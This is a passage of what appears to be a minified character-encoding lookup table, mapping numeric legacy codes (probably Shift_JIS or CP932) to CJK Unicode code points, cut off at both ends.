29634,35280:31117,35281:31166,35282:31292,35283:31623,35284:33457,35285:33499,35286:33540,35287:33655,35288:33775,35289:33747,35290:34662,35291:35506,35292:22057,35293:36008,35294:36838,35295:36942,35296:38686,35297:34442,35298:20420,35299:23784,35300:25105,35301:29273,35302:30011,35303:33253,35304:33469,35305:34558,35306:36032,35307:38597,35308:39187,35309:39381,35310:20171,35311:20250,35312:35299,35313:22238,35314:22602,35315:22730,35316:24315,35317:24555,35318:24618,35319:24724,35320:24674,35321:25040,35322:25106,35323:25296,35324:25913,35392:39745,35393:26214,35394:26800,35395:28023,35396:28784,35397:30028,35398:30342,35399:32117,35400:33445,35401:34809,35402:38283,35403:38542,35404:35997,35405:20977,35406:21182,35407:22806,35408:21683,35409:23475,35410:23830,35411:24936,35412:27010,35413:28079,35414:30861,35415:33995,35416:34903,35417:35442,35418:37799,35419:39608,35420:28012,35421:39336,35422:34521,35423:22435,35424:26623,35425:34510,35426:37390,35427:21123,35428:22151,35429:21508,35430:24275,35431:25313,35432:25785,35433:26684,35434:26680,35435:27579,35436:29554,35437:30906,35438:31339,35439:35226,35440:35282,35441:36203,35442:36611,35443:37101,35444:38307,35445:38548,35446:38761,35447:23398,35448:23731,35449:27005,35450:38989,35451:38990,35452:25499,35453:31520,35454:27179,35456:27263,35457:26806,35458:39949,35459:28511,35460:21106,35461:21917,35462:24688,35463:25324,35464:27963,35465:28167,35466:28369,35467:33883,35468:35088,35469:36676,35470:19988,35471:39993,35472:21494,35473:26907,35474:27194,35475:38788,35476:26666,35477:20828,35478:31427,35479:33970,35480:37340,35481:37772,35482:22107,35483:40232,35484:26658,35485:33541,35486:33841,35487:31909,35488:21e3,35489:33477,35490:29926,35491:20094,35492:20355,35493:20896,35494:23506,35495:21002,35496:21208,35497:21223,35498:24059,35499:21914,35500:22570,35501:23014,35502:23436,35503:23448,35504:23515,35505:24178,35506:24185,35507:24739,35508:24863,35509:24931,35510:25022,35511:25563,35512:25954,35513:26577,35514:26707,35515:26874,35516:27454,35517:27475,35518:27735,35519:28450,35520:28567,35521:28485,35522:29872,35523:29976,35524:30435,35525:30475,35526:31487,35527:31649,35528:31777,35529:32233,35530:32566,35531:32752,35532:32925,35533:33382,35534:33694,35535:35251,35536:35532,35537:36011,35538:36996,35539:37969,35540:38291,35541:38289,35542:38306,35543:38501,35544:38867,35545:39208,35546:33304,35547:20024,35548:21547,35549:23736,35550:24012,35551:29609,35552:30284,35553:30524,35554:23721,35555:32747,35556:36107,35557:38593,35558:38929,35559:38996,35560:39e3,35561:20225,35562:20238,35563:21361,35564:21916,35565:22120,35566:22522,35567:22855,35568:23305,35569:23492,35570:23696,35571:24076,35572:24190,35573:24524,35574:25582,35575:26426,35576:26071,35577:26082,35578:26399,35579:26827,35580:26820,35648:27231,35649:24112,35650:27589,35651:27671,35652:27773,35653:30079,35654:31048,35655:23395,35656:31232,35657:32e3,35658:24509,35659:35215,35660:35352,35661:36020,35662:36215,35663:36556,35664:36637,35665:39138,35666:39438,35667:39740,35668:20096,35669:20605,35670:20736,35671:22931,35672:23452,35673:25135,35674:25216,35675:25836,35676:27450,35677:29344,35678:30097,35679:31047,35680:32681,35681:34811,35682:35516,35683:35696,35684:25516,35685:33738,35686:38816,35687:21513,35688:21507,35689:21931,35690:26708,35691:27224,35692:35440,35693:30759,35694:26485,35695:40653,35696:21364,35697:23458,35698:33050,35699:34384,35700:36870,35701:19992,35702:20037,35703:20167,35704:20241,35705:21450,35706:21560,35707:23470,35708:24339,35709:24613,35710:25937,35712:26429,35713:27714,35714:27762,35715:27875,35716:28792,35717:29699,35718:31350,35719:31406,35720:31496,35721:32026,35722:31998,35723:32102,35724:26087,35725:29275,35726:21435,35727:23621,35728:24040,35729:25298,35730:25312,35731:25369,35732:28192,35733:34394,35734:35377,35735:36317,35736:37624,35737:28417,35738:31142,35739:39770,35740:20136,35741:20139,35742:20140,35743:20379,35744:20384,35745:20689,35746:20807,35747:31478,35748:20849,35749:20982,35750:21332,35751:21281,35752:21375,35753:21483,35754:21932,35755:22659,35756:23777,35757:24375,35758:24394,35759:24623,35760:24656,35761:24685,35762:25375,35763:25945,35764:27211,35765:27841,35766:29378,35767:29421,35768:30703,35769:33016,35770:33029,35771:33288,35772:34126,35773:37111,35774:37857,35775:38911,35776:39255,35777:39514,35778:20208,35779:20957,35780:23597,35781:26241,35782:26989,35783:23616,35784:26354,35785:26997,35786:29577,35787:26704,35788:31873,35789:20677,35790:21220,35791:22343,35792:24062,35793:37670,35794:26020,35795:27427,35796:27453,35797:29748,35798:31105,35799:31165,35800:31563,35801:32202,35802:33465,35803:33740,35804:34943,35805:35167,35806:35641,35807:36817,35808:37329,35809:21535,35810:37504,35811:20061,35812:20534,35813:21477,35814:21306,35815:29399,35816:29590,35817:30697,35818:33510,35819:36527,35820:39366,35821:39368,35822:39378,35823:20855,35824:24858,35825:34398,35826:21936,35827:31354,35828:20598,35829:23507,35830:36935,35831:38533,35832:20018,35833:27355,35834:37351,35835:23633,35836:23624,35904:25496,35905:31391,35906:27795,35907:38772,35908:36705,35909:31402,35910:29066,35911:38536,35912:31874,35913:26647,35914:32368,35915:26705,35916:37740,35917:21234,35918:21531,35919:34219,35920:35347,35921:32676,35922:36557,35923:37089,35924:21350,35925:34952,35926:31041,35927:20418,35928:20670,35929:21009,35930:20804,35931:21843,35932:22317,35933:29674,35934:22411,35935:22865,35936:24418,35937:24452,35938:24693,35939:24950,35940:24935,35941:25001,35942:25522,35943:25658,35944:25964,35945:26223,35946:26690,35947:28179,35948:30054,35949:31293,35950:31995,35951:32076,35952:32153,35953:32331,35954:32619,35955:33550,35956:33610,35957:34509,35958:35336,35959:35427,35960:35686,35961:36605,35962:38938,35963:40335,35964:33464,35965:36814,35966:39912,35968:21127,35969:25119,35970:25731,35971:28608,35972:38553,35973:26689,35974:20625,35975:27424,35976:27770,35977:28500,35978:31348,35979:32080,35980:34880,35981:35363,35982:26376,35983:20214,35984:20537,35985:20518,35986:20581,35987:20860,35988:21048,35989:21091,35990:21927,35991:22287,35992:22533,35993:23244,35994:24314,35995:25010,35996:25080,35997:25331,35998:25458,35999:26908,36e3:27177,36001:29309,36002:29356,36003:29486,36004:30740,36005:30831,36006:32121,36007:30476,36008:32937,36009:35211,36010:35609,36011:36066,36012:36562,36013:36963,36014:37749,36015:38522,36016:38997,36017:39443,36018:40568,36019:20803,36020:21407,36021:21427,36022:24187,36023:24358,36024:28187,36025:28304,36026:29572,36027:29694,36028:32067,36029:33335,36030:35328,36031:35578,36032:38480,36033:20046,36034:20491,36035:21476,36036:21628,36037:22266,36038:22993,36039:23396,36040:24049,36041:24235,36042:24359,36043:25144,36044:25925,36045:26543,36046:28246,36047:29392,36048:31946,36049:34996,36050:32929,36051:32993,36052:33776,36053:34382,36054:35463,36055:36328,36056:37431,36057:38599,36058:39015,36059:40723,36060:20116,36061:20114,36062:20237,36063:21320,36064:21577,36065:21566,36066:23087,36067:24460,36068:24481,36069:24735,36070:26791,36071:27278,36072:29786,36073:30849,36074:35486,36075:35492,36076:35703,36077:37264,36078:20062,36079:39881,36080:20132,36081:20348,36082:20399,36083:20505,36084:20502,36085:20809,36086:20844,36087:21151,36088:21177,36089:21246,36090:21402,36091:21475,36092:21521,36160:21518,36161:21897,36162:22353,36163:22434,36164:22909,36165:23380,36166:23389,36167:23439,36168:24037,36169:24039,36170:24055,36171:24184,36172:24195,36173:24218,36174:24247,36175:24344,36176:24658,36177:24908,36178:25239,36179:25304,36180:25511,36181:25915,36182:26114,36183:26179,36184:26356,36185:26477,36186:26657,36187:26775,36188:27083,36189:27743,36190:27946,36191:28009,36192:28207,36193:28317,36194:30002,36195:30343,36196:30828,36197:31295,36198:31968,36199:32005,36200:32024,36201:32094,36202:32177,36203:32789,36204:32771,36205:32943,36206:32945,36207:33108,36208:33167,36209:33322,36210:33618,36211:34892,36212:34913,36213:35611,36214:36002,36215:36092,36216:37066,36217:37237,36218:37489,36219:30783,36220:37628,36221:38308,36222:38477,36224:38917,36225:39321,36226:39640,36227:40251,36228:21083,36229:21163,36230:21495,36231:21512,36232:22741,36233:25335,36234:28640,36235:35946,36236:36703,36237:40633,36238:20811,36239:21051,36240:21578,36241:22269,36242:31296,36243:37239,36244:40288,36245:40658,36246:29508,36247:28425,36248:33136,36249:29969,36250:24573,36251:24794,36252:39592,36253:29403,36254:36796,36255:27492,36256:38915,36257:20170,36258:22256,36259:22372,36260:22718,36261:23130,36262:24680,36263:25031,36264:26127,36265:26118,36266:26681,36267:26801,36268:28151,36269:30165,36270:32058,36271:33390,36272:39746,36273:20123,36274:20304,36275:21449,36276:21766,36277:23919,36278:24038,36279:24046,36280:26619,36281:27801,36282:29811,36283:30722,36284:35408,36285:37782,36286:35039,36287:22352,36288:24231,36289:25387,36290:20661,36291:20652,36292:20877,36293:26368,36294:21705,36295:22622,36296:22971,36297:23472,36298:24425,36299:25165,36300:25505,36301:26685,36302:27507,36303:28168,36304:28797,36305:37319,36306:29312,36307:30741,36308:30758,36309:31085,36310:25998,36311:32048,36312:33756,36313:35009,36314:36617,36315:38555,36316:21092,36317:22312,36318:26448,36319:32618,36320:36001,36321:20916,36322:22338,36323:38442,36324:22586,36325:27018,36326:32948,36327:21682,36328:23822,36329:22524,36330:30869,36331:40442,36332:20316,36333:21066,36334:21643,36335:25662,36336:26152,36337:26388,36338:26613,36339:31364,36340:31574,36341:32034,36342:37679,36343:26716,36344:39853,36345:31545,36346:21273,36347:20874,36348:21047,36416:23519,36417:25334,36418:25774,36419:25830,36420:26413,36421:27578,36422:34217,36423:38609,36424:30352,36425:39894,36426:25420,36427:37638,36428:39851,36429:30399,36430:26194,36431:19977,36432:20632,36433:21442,36434:23665,36435:24808,36436:25746,36437:25955,36438:26719,36439:29158,36440:29642,36441:29987,36442:31639,36443:32386,36444:34453,36445:35715,36446:36059,36447:37240,36448:39184,36449:26028,36450:26283,36451:27531,36452:20181,36453:20180,36454:20282,36455:20351,36456:21050,36457:21496,36458:21490,36459:21987,36460:22235,36461:22763,36462:22987,36463:22985,36464:23039,36465:23376,36466:23629,36467:24066,36468:24107,36469:24535,36470:24605,36471:25351,36472:25903,36473:23388,36474:26031,36475:26045,36476:26088,36477:26525,36478:27490,36480:27515,36481:27663,36482:29509,36483:31049,36484:31169,36485:31992,36486:32025,36487:32043,36488:32930,36489:33026,36490:33267,36491:35222,36492:35422,36493:35433,36494:35430,36495:35468,36496:35566,36497:36039,36498:36060,36499:38604,36500:39164,36501:27503,36502:20107,36503:20284,36504:20365,36505:20816,36506:23383,36507:23546,36508:24904,36509:25345,36510:26178,36511:27425,36512:28363,36513:27835,36514:29246,36515:29885,36516:30164,36517:30913,36518:31034,36519:32780,36520:32819,36521:33258,36522:33940,36523:36766,36524:27728,36525:40575,36526:24335,36527:35672,36528:40235,36529:31482,36530:36600,36531:23437,36532:38635,36533:19971,36534:21489,36535:22519,36536:22833,36537:23241,36538:23460,36539:24713,36540:28287,36541:28422,36542:30142,36543:36074,36544:23455,36545:34048,36546:31712,36547:20594,36548:26612,36549:33437,36550:23649,36551:34122,36552:32286,36553:33294,36554:20889,36555:23556,36556:25448,36557:36198,36558:26012,36559:29038,36560:31038,36561:32023,36562:32773,36563:35613,36564:36554,36565:36974,36566:34503,36567:37034,36568:20511,36569:21242,36570:23610,36571:26451,36572:28796,36573:29237,36574:37196,36575:37320,36576:37675,36577:33509,36578:23490,36579:24369,36580:24825,36581:20027,36582:21462,36583:23432,36584:25163,36585:26417,36586:27530,36587:29417,36588:29664,36589:31278,36590:33131,36591:36259,36592:37202,36593:39318,36594:20754,36595:21463,36596:21610,36597:23551,36598:25480,36599:27193,36600:32172,36601:38656,36602:22234,36603:21454,36604:21608,36672:23447,36673:23601,36674:24030,36675:20462,36676:24833,36677:25342,36678:27954,36679:31168,36680:31179,36681:32066,36682:32333,36683:32722,36684:33261,36685:33311,36686:33936,36687:34886,36688:35186,36689:35728,36690:36468,36691:36655,36692:36913,36693:37195,36694:37228,36695:38598,36696:37276,36697:20160,36698:20303,36699:20805,36700:21313,36701:24467,36702:25102,36703:26580,36704:27713,36705:28171,36706:29539,36707:32294,36708:37325,36709:37507,36710:21460,36711:22809,36712:23487,36713:28113,36714:31069,36715:32302,36716:31899,36717:22654,36718:29087,36719:20986,36720:34899,36721:36848,36722:20426,36723:23803,36724:26149,36725:30636,36726:31459,36727:33308,36728:39423,36729:20934,36730:24490,36731:26092,36732:26991,36733:27529,36734:28147,36736:28310,36737:28516,36738:30462,36739:32020,36740:24033,36741:36981,36742:37255,36743:38918,36744:20966,36745:21021,36746:25152,36747:26257,36748:26329,36749:28186,36750:24246,36751:32210,36752:32626,36753:26360,36754:34223,36755:34295,36756:35576,36757:21161,36758:21465,36759:22899,36760:24207,36761:24464,36762:24661,36763:37604,36764:38500,36765:20663,36766:20767,36767:21213,36768:21280,36769:21319,36770:21484,36771:21736,36772:21830,36773:21809,36774:22039,36775:22888,36776:22974,36777:23100,36778:23477,36779:23558,36780:23567,36781:23569,36782:23578,36783:24196,36784:24202,36785:24288,36786:24432,36787:25215,36788:25220,36789:25307,36790:25484,36791:25463,36792:26119,36793:26124,36794:26157,36795:26230,36796:26494,36797:26786,36798:27167,36799:27189,36800:27836,36801:28040,36802:28169,36803:28248,36804:28988,36805:28966,36806:29031,36807:30151,36808:30465,36809:30813,36810:30977,36811:31077,36812:31216,36813:31456,36814:31505,36815:31911,36816:32057,36817:32918,36818:33750,36819:33931,36820:34121,36821:34909,36822:35059,36823:35359,36824:35388,36825:35412,36826:35443,36827:35937,36828:36062,36829:37284,36830:37478,36831:37758,36832:37912,36833:38556,36834:38808,36835:19978,36836:19976,36837:19998,36838:20055,36839:20887,36840:21104,36841:22478,36842:22580,36843:22732,36844:23330,36845:24120,36846:24773,36847:25854,36848:26465,36849:26454,36850:27972,36851:29366,36852:30067,36853:31331,36854:33976,36855:35698,36856:37304,36857:37664,36858:22065,36859:22516,36860:39166,36928:25325,36929:26893,36930:27542,36931:29165,36932:32340,36933:32887,36934:33394,36935:35302,36936:39135,36937:34645,36938:36785,36939:23611,36940:20280,36941:20449,36942:20405,36943:21767,36944:23072,36945:23517,36946:23529,36947:24515,36948:24910,36949:25391,36950:26032,36951:26187,36952:26862,36953:27035,36954:28024,36955:28145,36956:30003,36957:30137,36958:30495,36959:31070,36960:31206,36961:32051,36962:33251,36963:33455,36964:34218,36965:35242,36966:35386,36967:36523,36968:36763,36969:36914,36970:37341,36971:38663,36972:20154,36973:20161,36974:20995,36975:22645,36976:22764,36977:23563,36978:29978,36979:23613,36980:33102,36981:35338,36982:36805,36983:38499,36984:38765,36985:31525,36986:35535,36987:38920,36988:37218,36989:22259,36990:21416,36992:36887,36993:21561,36994:22402,36995:24101,36996:25512,36997:27700,36998:28810,36999:30561,37e3:31883,37001:32736,37002:34928,37003:36930,37004:37204,37005:37648,37006:37656,37007:38543,37008:29790,37009:39620,37010:23815,37011:23913,37012:25968,37013:26530,37014:36264,37015:38619,37016:25454,37017:26441,37018:26905,37019:33733,37020:38935,37021:38592,37022:35070,37023:28548,37024:25722,37025:23544,37026:19990,37027:28716,37028:30045,37029:26159,37030:20932,37031:21046,37032:21218,37033:22995,37034:24449,37035:24615,37036:25104,37037:25919,37038:25972,37039:26143,37040:26228,37041:26866,37042:26646,37043:27491,37044:28165,37045:29298,37046:29983,37047:30427,37048:31934,37049:32854,37050:22768,37051:35069,37052:35199,37053:35488,37054:35475,37055:35531,37056:36893,37057:37266,37058:38738,37059:38745,37060:25993,37061:31246,37062:33030,37063:38587,37064:24109,37065:24796,37066:25114,37067:26021,37068:26132,37069:26512,37070:30707,37071:31309,37072:31821,37073:32318,37074:33034,37075:36012,37076:36196,37077:36321,37078:36447,37079:30889,37080:20999,37081:25305,37082:25509,37083:25666,37084:25240,37085:35373,37086:31363,37087:31680,37088:35500,37089:38634,37090:32118,37091:33292,37092:34633,37093:20185,37094:20808,37095:21315,37096:21344,37097:23459,37098:23554,37099:23574,37100:24029,37101:25126,37102:25159,37103:25776,37104:26643,37105:26676,37106:27849,37107:27973,37108:27927,37109:26579,37110:28508,37111:29006,37112:29053,37113:26059,37114:31359,37115:31661,37116:32218,37184:32330,37185:32680,37186:33146,37187:33307,37188:33337,37189:34214,37190:35438,37191:36046,37192:36341,37193:36984,37194:36983,37195:37549,37196:37521,37197:38275,37198:39854,37199:21069,37200:21892,37201:28472,37202:28982,37203:20840,37204:31109,37205:32341,37206:33203,37207:31950,37208:22092,37209:22609,37210:23720,37211:25514,37212:26366,37213:26365,37214:26970,37215:29401,37216:30095,37217:30094,37218:30990,37219:31062,37220:31199,37221:31895,37222:32032,37223:32068,37224:34311,37225:35380,37226:38459,37227:36961,37228:40736,37229:20711,37230:21109,37231:21452,37232:21474,37233:20489,37234:21930,37235:22766,37236:22863,37237:29245,37238:23435,37239:23652,37240:21277,37241:24803,37242:24819,37243:25436,37244:25475,37245:25407,37246:25531,37248:25805,37249:26089,37250:26361,37251:24035,37252:27085,37253:27133,37254:28437,37255:29157,37256:20105,37257:30185,37258:30456,37259:31379,37260:31967,37261:32207,37262:32156,37263:32865,37264:33609,37265:33624,37266:33900,37267:33980,37268:34299,37269:35013,37270:36208,37271:36865,37272:36973,37273:37783,37274:38684,37275:39442,37276:20687,37277:22679,37278:24974,37279:33235,37280:34101,37281:36104,37282:36896,37283:20419,37284:20596,37285:21063,37286:21363,37287:24687,37288:25417,37289:26463,37290:28204,37291:36275,37292:36895,37293:20439,37294:23646,37295:36042,37296:26063,37297:32154,37298:21330,37299:34966,37300:20854,37301:25539,37302:23384,37303:23403,37304:23562,37305:25613,37306:26449,37307:36956,37308:20182,37309:22810,37310:22826,37311:27760,37312:35409,37313:21822,37314:22549,37315:22949,37316:24816,37317:25171,37318:26561,37319:33333,37320:26965,37321:38464,37322:39364,37323:39464,37324:20307,37325:22534,37326:23550,37327:32784,37328:23729,37329:24111,37330:24453,37331:24608,37332:24907,37333:25140,37334:26367,37335:27888,37336:28382,37337:32974,37338:33151,37339:33492,37340:34955,37341:36024,37342:36864,37343:36910,37344:38538,37345:40667,37346:39899,37347:20195,37348:21488,37349:22823,37350:31532,37351:37261,37352:38988,37353:40441,37354:28381,37355:28711,37356:21331,37357:21828,37358:23429,37359:25176,37360:25246,37361:25299,37362:27810,37363:28655,37364:29730,37365:35351,37366:37944,37367:28609,37368:35582,37369:33592,37370:20967,37371:34552,37372:21482,37440:21481,37441:20294,37442:36948,37443:36784,37444:22890,37445:33073,37446:24061,37447:31466,37448:36799,37449:26842,37450:35895,37451:29432,37452:40008,37453:27197,37454:35504,37455:20025,37456:21336,37457:22022,37458:22374,37459:25285,37460:25506,37461:26086,37462:27470,37463:28129,37464:28251,37465:28845,37466:30701,37467:31471,37468:31658,37469:32187,37470:32829,37471:32966,37472:34507,37473:35477,37474:37723,37475:22243,37476:22727,37477:24382,37478:26029,37479:26262,37480:27264,37481:27573,37482:30007,37483:35527,37484:20516,37485:30693,37486:22320,37487:24347,37488:24677,37489:26234,37490:27744,37491:30196,37492:31258,37493:32622,37494:33268,37495:34584,37496:36933,37497:39347,37498:31689,37499:30044,37500:31481,37501:31569,37502:33988,37504:36880,37505:31209,37506:31378,37507:33590,37508:23265,37509:30528,37510:20013,37511:20210,37512:23449,37513:24544,37514:25277,37515:26172,37516:26609,37517:27880,37518:34411,37519:34935,37520:35387,37521:37198,37522:37619,37523:39376,37524:27159,37525:28710,37526:29482,37527:33511,37528:33879,37529:36015,37530:19969,37531:20806,37532:20939,37533:21899,37534:23541,37535:24086,37536:24115,37537:24193,37538:24340,37539:24373,37540:24427,37541:24500,37542:25074,37543:25361,37544:26274,37545:26397,37546:28526,37547:29266,37548:30010,37549:30522,37550:32884,37551:33081,37552:33144,37553:34678,37554:35519,37555:35548,37556:36229,37557:36339,37558:37530,37559:38263,37560:38914,37561:40165,37562:21189,37563:25431,37564:30452,37565:26389,37566:27784,37567:29645,37568:36035,37569:37806,37570:38515,37571:27941,37572:22684,37573:26894,37574:27084,37575:36861,37576:37786,37577:30171,37578:36890,37579:22618,37580:26626,37581:25524,37582:27131,37583:20291,37584:28460,37585:26584,37586:36795,37587:34086,37588:32180,37589:37716,37590:26943,37591:28528,37592:22378,37593:22775,37594:23340,37595:32044,37596:29226,37597:21514,37598:37347,37599:40372,37600:20141,37601:20302,37602:20572,37603:20597,37604:21059,37605:35998,37606:21576,37607:22564,37608:23450,37609:24093,37610:24213,37611:24237,37612:24311,37613:24351,37614:24716,37615:25269,37616:25402,37617:25552,37618:26799,37619:27712,37620:30855,37621:31118,37622:31243,37623:32224,37624:33351,37625:35330,37626:35558,37627:36420,37628:36883,37696:37048,37697:37165,37698:37336,37699:40718,37700:27877,37701:25688,37702:25826,37703:25973,37704:28404,37705:30340,37706:31515,37707:36969,37708:37841,37709:28346,37710:21746,37711:24505,37712:25764,37713:36685,37714:36845,37715:37444,37716:20856,37717:22635,37718:22825,37719:23637,37720:24215,37721:28155,37722:32399,37723:29980,37724:36028,37725:36578,37726:39003,37727:28857,37728:20253,37729:27583,37730:28593,37731:3e4,37732:38651,37733:20814,37734:21520,37735:22581,37736:22615,37737:22956,37738:23648,37739:24466,37740:26007,37741:26460,37742:28193,37743:30331,37744:33759,37745:36077,37746:36884,37747:37117,37748:37709,37749:30757,37750:30778,37751:21162,37752:24230,37753:22303,37754:22900,37755:24594,37756:20498,37757:20826,37758:20908,37760:20941,37761:20992,37762:21776,37763:22612,37764:22616,37765:22871,37766:23445,37767:23798,37768:23947,37769:24764,37770:25237,37771:25645,37772:26481,37773:26691,37774:26812,37775:26847,37776:30423,37777:28120,37778:28271,37779:28059,37780:28783,37781:29128,37782:24403,37783:30168,37784:31095,37785:31561,37786:31572,37787:31570,37788:31958,37789:32113,37790:21040,37791:33891,37792:34153,37793:34276,37794:35342,37795:35588,37796:35910,37797:36367,37798:36867,37799:36879,37800:37913,37801:38518,37802:38957,37803:39472,37804:38360,37805:20685,37806:21205,37807:21516,37808:22530,37809:23566,37810:24999,37811:25758,37812:27934,37813:30643,37814:31461,37815:33012,37816:33796,37817:36947,37818:37509,37819:23776,37820:40199,37821:21311,37822:24471,37823:24499,37824:28060,37825:29305,37826:30563,37827:31167,37828:31716,37829:27602,37830:29420,37831:35501,37832:26627,37833:27233,37834:20984,37835:31361,37836:26932,37837:23626,37838:40182,37839:33515,37840:23493,37841:37193,37842:28702,37843:22136,37844:23663,37845:24775,37846:25958,37847:27788,37848:35930,37849:36929,37850:38931,37851:21585,37852:26311,37853:37389,37854:22856,37855:37027,37856:20869,37857:20045,37858:20970,37859:34201,37860:35598,37861:28760,37862:25466,37863:37707,37864:26978,37865:39348,37866:32260,37867:30071,37868:21335,37869:26976,37870:36575,37871:38627,37872:27741,37873:20108,37874:23612,37875:24336,37876:36841,37877:21250,37878:36049,37879:32905,37880:34425,37881:24319,37882:26085,37883:20083,37884:20837,37952:22914,37953:23615,37954:38894,37955:20219,37956:22922,37957:24525,37958:35469,37959:28641,37960:31152,37961:31074,37962:23527,37963:33905,37964:29483,37965:29105,37966:24180,37967:24565,37968:25467,37969:25754,37970:29123,37971:31896,37972:20035,37973:24316,37974:20043,37975:22492,37976:22178,37977:24745,37978:28611,37979:32013,37980:33021,37981:33075,37982:33215,37983:36786,37984:35223,37985:34468,37986:24052,37987:25226,37988:25773,37989:35207,37990:26487,37991:27874,37992:27966,37993:29750,37994:30772,37995:23110,37996:32629,37997:33453,37998:39340,37999:20467,38e3:24259,38001:25309,38002:25490,38003:25943,38004:26479,38005:30403,38006:29260,38007:32972,38008:32954,38009:36649,38010:37197,38011:20493,38012:22521,38013:23186,38014:26757,38016:26995,38017:29028,38018:29437,38019:36023,38020:22770,38021:36064,38022:38506,38023:36889,38024:34687,38025:31204,38026:30695,38027:33833,38028:20271,38029:21093,38030:21338,38031:25293,38032:26575,38033:27850,38034:30333,38035:31636,38036:31893,38037:33334,38038:34180,38039:36843,38040:26333,38041:28448,38042:29190,38043:32283,38044:33707,38045:39361,38046:40614,38047:20989,38048:31665,38049:30834,38050:31672,38051:32903,38052:31560,38053:27368,38054:24161,38055:32908,38056:30033,38057:30048,38058:20843,38059:37474,38060:28300,38061:30330,38062:37271,38063:39658,38064:20240,38065:32624,38066:25244,38067:31567,38068:38309,38069:40169,38070:22138,38071:22617,38072:34532,38073:38588,38074:20276,38075:21028,38076:21322,38077:21453,38078:21467,38079:24070,38080:25644,38081:26001,38082:26495,38083:27710,38084:27726,38085:29256,38086:29359,38087:29677,38088:30036,38089:32321,38090:33324,38091:34281,38092:36009,38093:31684,38094:37318,38095:29033,38096:38930,38097:39151,38098:25405,38099:26217,38100:30058,38101:30436,38102:30928,38103:34115,38104:34542,38105:21290,38106:21329,38107:21542,38108:22915,38109:24199,38110:24444,38111:24754,38112:25161,38113:25209,38114:25259,38115:26e3,38116:27604,38117:27852,38118:30130,38119:30382,38120:30865,38121:31192,38122:32203,38123:32631,38124:32933,38125:34987,38126:35513,38127:36027,38128:36991,38129:38750,38130:39131,38131:27147,38132:31800,38133:20633,38134:23614,38135:24494,38136:26503,38137:27608,38138:29749,38139:30473,38140:32654,38208:40763,38209:26570,38210:31255,38211:21305,38212:30091,38213:39661,38214:24422,38215:33181,38216:33777,38217:32920,38218:24380,38219:24517,38220:30050,38221:31558,38222:36924,38223:26727,38224:23019,38225:23195,38226:32016,38227:30334,38228:35628,38229:20469,38230:24426,38231:27161,38232:27703,38233:28418,38234:29922,38235:31080,38236:34920,38237:35413,38238:35961,38239:24287,38240:25551,38241:30149,38242:31186,38243:33495,38244:37672,38245:37618,38246:33948,38247:34541,38248:39981,38249:21697,38250:24428,38251:25996,38252:27996,38253:28693,38254:36007,38255:36051,38256:38971,38257:25935,38258:29942,38259:19981,38260:20184,38261:22496,38262:22827,38263:23142,38264:23500,38265:20904,38266:24067,38267:24220,38268:24598,38269:25206,38270:25975,38272:26023,38273:26222,38274:28014,38275:29238,38276:31526,38277:33104,38278:33178,38279:33433,38280:35676,38281:36e3,38282:36070,38283:36212,38284:38428,38285:38468,38286:20398,38287:25771,38288:27494,38289:33310,38290:33889,38291:34154,38292:37096,38293:23553,38294:26963,38295:39080,38296:33914,38297:34135,38298:20239,38299:21103,38300:24489,38301:24133,38302:26381,38303:31119,38304:33145,38305:35079,38306:35206,38307:28149,38308:24343,38309:25173,38310:27832,38311:20175,38312:29289,38313:39826,38314:20998,38315:21563,38316:22132,38317:22707,38318:24996,38319:25198,38320:28954,38321:22894,38322:31881,38323:31966,38324:32027,38325:38640,38326:25991,38327:32862,38328:19993,38329:20341,38330:20853,38331:22592,38332:24163,38333:24179,38334:24330,38335:26564,38336:20006,38337:34109,38338:38281,38339:38491,38340:31859,38341:38913,38342:20731,38343:22721,38344:30294,38345:30887,38346:21029,38347:30629,38348:34065,38349:31622,38350:20559,38351:22793,38352:29255,38353:31687,38354:32232,38355:36794,38356:36820,38357:36941,38358:20415,38359:21193,38360:23081,38361:24321,38362:38829,38363:20445,38364:33303,38365:37610,38366:22275,38367:25429,38368:27497,38369:29995,38370:35036,38371:36628,38372:31298,38373:21215,38374:22675,38375:24917,38376:25098,38377:26286,38378:27597,38379:31807,38380:33769,38381:20515,38382:20472,38383:21253,38384:21574,38385:22577,38386:22857,38387:23453,38388:23792,38389:23791,38390:23849,38391:24214,38392:25265,38393:25447,38394:25918,38395:26041,38396:26379,38464:27861,38465:27873,38466:28921,38467:30770,38468:32299,38469:32990,38470:33459,38471:33804,38472:34028,38473:34562,38474:35090,38475:35370,38476:35914,38477:37030,38478:37586,38479:39165,38480:40179,38481:40300,38482:20047,38483:20129,38484:20621,38485:21078,38486:22346,38487:22952,38488:24125,38489:24536,38490:24537,38491:25151,38492:26292,38493:26395,38494:26576,38495:26834,38496:20882,38497:32033,38498:32938,38499:33192,38500:35584,38501:35980,38502:36031,38503:37502,38504:38450,38505:21536,38506:38956,38507:21271,38508:20693,38509:21340,38510:22696,38511:25778,38512:26420,38513:29287,38514:30566,38515:31302,38516:37350,38517:21187,38518:27809,38519:27526,38520:22528,38521:24140,38522:22868,38523:26412,38524:32763,38525:20961,38526:30406,38528:25705,38529:30952,38530:39764,38531:40635,38532:22475,38533:22969,38534:26151,38535:26522,38536:27598,38537:21737,38538:27097,38539:24149,38540:33180,38541:26517,38542:39850,38543:26622,38544:40018,38545:26717,38546:20134,38547:20451,38548:21448,38549:25273,38550:26411,38551:27819,38552:36804,38553:20397,38554:32365,38555:40639,38556:19975,38557:24930,38558:28288,38559:28459,38560:34067,38561:21619,38562:26410,38563:39749,38564:24051,38565:31637,38566:23724,38567:23494,38568:34588,38569:28234,38570:34001,38571:31252,38572:33032,38573:22937,38574:31885,38575:27665,38576:30496,38577:21209,38578:22818,38579:28961,38580:29279,38581:30683,38582:38695,38583:40289,38584:26891,38585:23167,38586:23064,38587:20901,38588:21517,38589:21629,38590:26126,38591:30431,38592:36855,38593:37528,38594:40180,38595:23018,38596:29277,38597:28357,38598:20813,38599:26825,38600:32191,38601:32236,38602:38754,38603:40634,38604:25720,38605:27169,38606:33538,38607:22916,38608:23391,38609:27611,38610:29467,38611:30450,38612:32178,38613:32791,38614:33945,38615:20786,38616:26408,38617:40665,38618:30446,38619:26466,38620:21247,38621:39173,38622:23588,38623:25147,38624:31870,38625:36016,38626:21839,38627:24758,38628:32011,38629:38272,38630:21249,38631:20063,38632:20918,38633:22812,38634:29242,38635:32822,38636:37326,38637:24357,38638:30690,38639:21380,38640:24441,38641:32004,38642:34220,38643:35379,38644:36493,38645:38742,38646:26611,38647:34222,38648:37971,38649:24841,38650:24840,38651:27833,38652:30290,38720:35565,38721:36664,38722:21807,38723:20305,38724:20778,38725:21191,38726:21451,38727:23461,38728:24189,